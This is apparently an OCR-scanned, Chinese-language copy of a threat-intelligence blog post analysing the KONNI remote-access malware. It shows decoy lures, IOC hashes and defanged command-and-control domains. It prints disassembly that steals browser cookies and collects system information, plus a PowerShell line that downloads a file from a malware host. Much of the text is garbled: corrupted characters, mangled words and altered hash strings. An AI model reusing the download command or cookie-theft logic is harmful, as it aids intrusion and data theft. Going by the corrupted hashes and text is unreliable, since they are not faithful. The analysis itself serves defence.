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loc_4811D1:

mou eax, [ebp+hostlong]
push eax ; hostlong
call ds:htonl
mov ed=, s
push 18h : namelen
lea ecx, [ebp+name]
push ecx : hame
push edx ;S
mov dword ptr [ebp+name.sa data+2], eax
call ds:connect
pop esi
cmp eax, HFFFFFFFFD
jnz short loc_ 481213

\ F I 1

o=

mow eax, s

push eax -

call ds:closesocket
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o BEICRESR

o FIMGIRGIEIERF

o Firefox BCE3C4F0 Cookie HIEVIZRF
o Chrome BLE I fF1 Cookie HiEVIZFF
e Opera ECE XX F1 Cookie THENFERF

lea eax, [ebp+FileHame]

push offset aSHozillaFirefo ; "%s\\Hozilla\\Firefox\\Profiles\»* ="
push eax : char =

call sprintf

push esi

lea ec®, [ebp+var_ 4B4]

push offset asMozillaFire_ 8 ; "%s\\Mozilla\\Firefox\\Profilesi\"
push ecs ; char =

call sprintf

lea edx, [ebp+uvar_ 5DC]

push edx ; int

lea eax, [ebp+FileHame]

push eax : 1pFileHame

call FindfFirstolild2

mou esi, eax

add esp, 26h

test esi, esi

js loc_ 481904
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N. Korean hydrogen bomb can wipe out
Manhattan: pmpaganclia outlet

A North Korean-developed hydrogen bomb placed on top of an intercontinental ballistic
missike can wipe outl everyone m Manhattan, Pyongyang's stabe-run propaganda outhet said
Sunday

Ciing an arbcle by a nuclear scientsl, DPRK Today claimed that the North has succeeding
in mesalunzing nuclear warheads and making the delvery systems more precige. The
seientist said the Morth is capable of making a bomb or warhead with @ yield of some 15
kilotons

The DPRK stands for the Democratic People’s Repubbc of Korea, the Morh's official name

It argued that the hydrogen bomb that the country has developed is more powerful than
those made by the former Soviet Union

The country has maintaned that the fourth nuclear test conducted on Jan. & invohed a
hvdrogen device. which usuallv is more powerful than a conventional nuclear bomb. Despite
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PYONGYANG E-MAIL LISTS - April 2017 T '

Dear Residents of Pyongyang, E
These lists enable a simple cut-and-paste for emailing to the community. 7y
Further down ‘.|1|.:r-:: are theme gproups I'-::-r '.-PI."I.'irII: -::::-r.'|.~:.|.|-::-|'||J-e:|'||:L: Yo rmay I‘I-!'.l'!! i
Kind regards,
REC Office Coordination Associate
The ‘Global Address List' for any information you may wish to anneunce to the whale inter national community: I
Please use the Bee address field to lessen the chances of spammers getting it.
In addition to improving privacy it is also easier for readers to get to the actual email, rather than scralling
through all the recipients first.
Bee = all addresses in the Bee field are not visible to any other recipients.
All email programs have Bee, although sometimes it needs to be added in the additional options window; e.g.
“show Bee" or “add Bec recipients”
All Resident DPRK

: *
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Invoke-Expression (New-Object Syste em.Net.WebClient).DownloadFile (™" "http://checkmail
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e

push edi

push 184h ; nSize

lea edx, [ebp+Filename]

push elx ; IpFilename
push eax ; hModule
call ds:GetModuleFileHamen

lea eax, [ebp+Filename]

push eax s pszPath

call ds:PathStripPathh
push offset pszExt ; .d11™

lea ecx, [ebp+Filename]

push eCx : pszPath

call ds:PathRenameExtensionf

lea edx, [ebp+Filename]

push edx ; 1pLibFileName
call ds:lLoadlLibraryf

miow edi, ds:Sleep

mow esi, Bah
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StartMenu Programs
64-bit
32-bit

System Type:

0S is :
DRIVE RAMDISK
DRIVE CDROM
DRIVE REMOTE
DRIVE FIXED

DRIVE REMOVABLE
DRIVE_NO_ROOT DIR

DRIVE_ UNKNOWN

( %s + %s )

Drive Information is as follow.
This computer's username is %s
This computer's name is %s
This computer's IP Address isk%s

INTER AGENCY LIST AND PHONEBOOK - APRIL 2017
RC_OFFICE_COORDINATION_ASSOCIATE.SCR

FMAMBEE—1EH KONNI BI85 A Inter Agency List and Phonebook - April
2017 RC_Office_Coordination_Associate.scr. HIXHENNHS Z BN T ESEEHE
[E, BFEXEBHARE:


https://1.bp.blogspot.com/-lOvDJssUuUM/WQn5QUrtNeI/AAAAAAAAAIk/--cfD7pclkkOFZQTa1gaHQRkPPikoijOACLcB/s1600/image9.png

HOi Q=052
Bl % == [0
Fabrupey 2017
i 1 §
I!I'l"l' m
w

E.

33
4
45
16
AT
i1

4+ UM Agencies FRC ICRC Bilateral EUPS Embassie: Frivate Companees, Teachers s MereFies Agencies, NGO's etc Spouses
Sheet 1 al & e LM Age . Avarages | Swmc 0 k| 55% |

ﬂiﬁ@A%%ﬁﬁ%MMﬂ kﬁﬁﬂ@ AR AR # BB IESRDRIER it .

BHANEI T #ET KONNI A E=FRURTR . SIENKEEHNABT/LRE, Bl
MATIEEIRTS . AIREEXEMZRRAEREET. RATHEAGREEHEAHF
A, —HATE mmﬁ , RMBIESIFEBRRRME, BRI ITEE.

RIFERA, FMEESERR (BILeHTige) MFEXERERERITHH. X% T
2017 5 4 AMNKEESNER 7T 228 MRBIENMEXE, mE, QMeiHMﬁﬁﬁ@
BHABUFRENAHBANTIEAR . BRINAHMENERZRZREMEIEE, ERWE
E FREEEMNER 3

B, PHEEXNEIFERNE, 4 P EEENPE 3 MEHERX.

TEZ/REZ KONNI 7FEi3 £ 3 FRUEZIHER


https://1.bp.blogspot.com/-I9D4uK4K_5c/WQn5YdH_9-I/AAAAAAAAAIo/_qqFzeanSWoGkiWJul5r1BKaVjOqt_6mACLcB/s1600/image13.png

KONNI 7 3 FHHRZ RN

2014 2016 2017
REFEHEXHZER src v v
OOOwebhost CC
.php X H-#E
GEERF
EEEEIR

1 M HEERY
2 M HERRY
.exe PHZIL
dil PR
#EThEE

JPG iFiH
Office i {H 34
64 (LA

bak7a
BRNEFTELH ARG E L R, wE:

Ermail Security

Threat Grid

Umbrella

WsA

SREEIARR (AMP) fR 75 Z R LB LI TR & & ERAEER .

CWS = WSA Web $3EThRE R LARRLE I i) BB Mus, FHAMNIX LT AREER .


https://www.cisco.com/c/en/us/support/security/amp-firepower-software-license/tsd-products-support-series-home.html
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://2.bp.blogspot.com/--ze6alOzmWE/WQn5grrkKnI/AAAAAAAAAIs/kW4dePF21xc3EfQjX2OEWe3GtVW-yF1BQCLcB/s1600/image2.jpg
https://3.bp.blogspot.com/-P6wMEFIt5yQ/WQn5lsEj7YI/AAAAAAAAAIw/4r5VJTIBsx4jsneY1EPHjnHPnxyxf0WcQCLcB/s1600/image7.png
https://2.bp.blogspot.com/--ze6alOzmWE/WQn5grrkKnI/AAAAAAAAAIs/kW4dePF21xc3EfQjX2OEWe3GtVW-yF1BQCLcB/s1600/image2.jpg
https://3.bp.blogspot.com/-P6wMEFIt5yQ/WQn5lsEj7YI/AAAAAAAAAIw/4r5VJTIBsx4jsneY1EPHjnHPnxyxf0WcQCLcB/s1600/image7.png

R 2R F A SR EE ARG AT A LTS

IPS 1 NGFW HFIRIZ 2 2 iR Thae M A RIMAL B E, ATRUSIN B & & Kt a) T2 ML%
&Tfo

AMP Threat Grid AT EMRANEEZHESIS M, AR ZE~RBAERNERIFER.

Umbrella, FHIWZEEEMM X (SIG), AIEIEAAEZETESE. IP A URL (ELAFPR
BT ATME L)

IOC

BAERF
SHA256: 413772d81e4532fec5119e9dceb5e2bfo0b7538be33066cf9a6ff796254a5225f

X% : beauty.scr

BT

#1

SHA256: eb90e40fc4d91dec68e8509056¢c52e9c8ed4e392¢c4ac979518f8d87¢c31e2b435
X% : C:\Windows\beauty.jpg

XHHER: JPEG B&#HE. JFIF R 1.02

#2

SHA256: 44150350727e2a42f66d50015e98de462d362af8a9ae33d1f5124f1703179ab9
Y& : C:\Windows\svchost.exe

SR PE32 ATHITICHE (GUI) Intel 80386, i& AT MS Windows

cc
phpschboyl.]prohosts|.]Jorg
jams481[.]site[.]bz

BEANERF
SHA256: 94113c9968db13e3412c1b9c1c882592481¢559c0613dbccfed2fcfc80e77dcd

X144%: How can North Korean hydrogen bomb wipe out Manhattan.scr

BB H
#1
SHA256: 56f159cde3a55ae6e9270d95791ef2f6859aa119ad516¢c9471010302e1fb5634

X144 : conhote.dll


https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://www.cisco.com/c/en/us/products/security/asa-next-generation-firewall-services/index.html
https://www.cisco.com/c/en/us/products/security/asa-next-generation-firewall-services/index.html
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/

#2
SHA256: 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc
X% : winnit.exe

#3
SHA256: 92600679bb183c1897e7e1e6446082111491a42aab65a3a48bd0fceae0db7244f
14 Antivirus service.lnk

cc
dowhelsitjs[.]Jnetau[.]net

EANRERF

SHA256: 69a9d7aal0ch964c091ca128735b6e60fa7ce028a2bad1d99023dd57c06600fe0
X144%: Pyongyang Directory Group email April 2017
RC_Office_Coordination_Associate.scr

Db
#1

SHA256: 3de491de3f39c599954bdbf08bba3bab9e4ald2c64141b03a866c08ef867c9d1
X4 adobe distillist.Ink

#2
SHA256: 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635
X% : winload.exe

#3
SHA256: dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d

X4 . winload.dll

cc
Pactchfilepacks[.]Jnet23[.]Jnet
checkmail[.]Jphpnet[.]us

AR

SHA256: 640477943ad77fb2a74752f4650707ea616¢c3c022359d7b2e264a63495abe45e
X% : Inter Agency List and Phonebook - April 2017
RC_Office_Coordination_Associate.scr



BB
#1

SHA256: 4585584fe7e14838858b24c18a792b105d18f87d2711c060f09e62d89fc3085b
X4 adobe distillist.Ink

#2
SHA256: 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635
X% : winload.exe

#3
SHA256: dd730cc8fcbb979eb366915397b8535¢ce3b6cfdb01be2235797d9783661fc84d
& winload.dll

cc
Pactchfilepacks[.]Jnet23[.]Jnet
checkmail[.]Jphpnet[.]us

413772d81e4532fec5119e9dce5e2bf90b7538be33066cf9a6ff796254a5225f
44150350727e2a42f66d50015e98de462d362af8a9ae33d15124f1703179ab9
553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317¢cc
56f159cde3a55ae6e9270d95791ef2f6859aa119ad516c9471010302e1fb5634
94113c9968db13e3412¢1b9¢c1c882592481¢c559c0613dbccfed2fcfc80e77dc5
f091d210fd214c6f19f45d880cde77781b03c5dc86aa2d62417939e7dce0471f
0f327d67b601a87e575e726dc67a10c341720267de58f3bd2df3ce705055e757
234f9d50aadb605d920458cc30a16b90c0ae1443bc7ef3bf452566ce111cece8
39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635
581e820637decf37bfd315c6eb71176976a0f2d59708f2836ff969873b86c7db
640477943ad77fb2a74752f4650707ea616¢c3c022359d7b2e264a63495abed5e
69a9d7aa0cb964c091ca128735b6e60fa7ce028a2ba41d99023dd57c06600fe0
97b1039612eb684eaec5d21f0ac0a2b06b933cc3c078deabea2706cb69045355
dae9d8f9f7f745385286775f6e99d3dcc55bbbed7268a3ea20deffe5¢c8fd0f0e
dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d
€6a9d9791f763123f9fe1f69e69069340e02248b9b16a88334b6a5a611944ef9
ead47df090a4de54220a8be27ec6737304¢c1¢c3fe9d0946451b2a60b8f11212d1
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https://www.blogger.com/profile/10073079939160046441
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
http://blog.talosintelligence.com/search/label/APT
http://blog.talosintelligence.com/search/label/KONNI
http://blog.talosintelligence.com/search/label/Korea
http://blog.talosintelligence.com/search/label/Malware
http://blog.talosintelligence.com/search/label/Malware Analysis
http://blog.talosintelligence.com/search/label/RAT
https://www.blogger.com/post-edit.g?blogID=1029833275466591797&postID=4345633821016884916&from=pencil

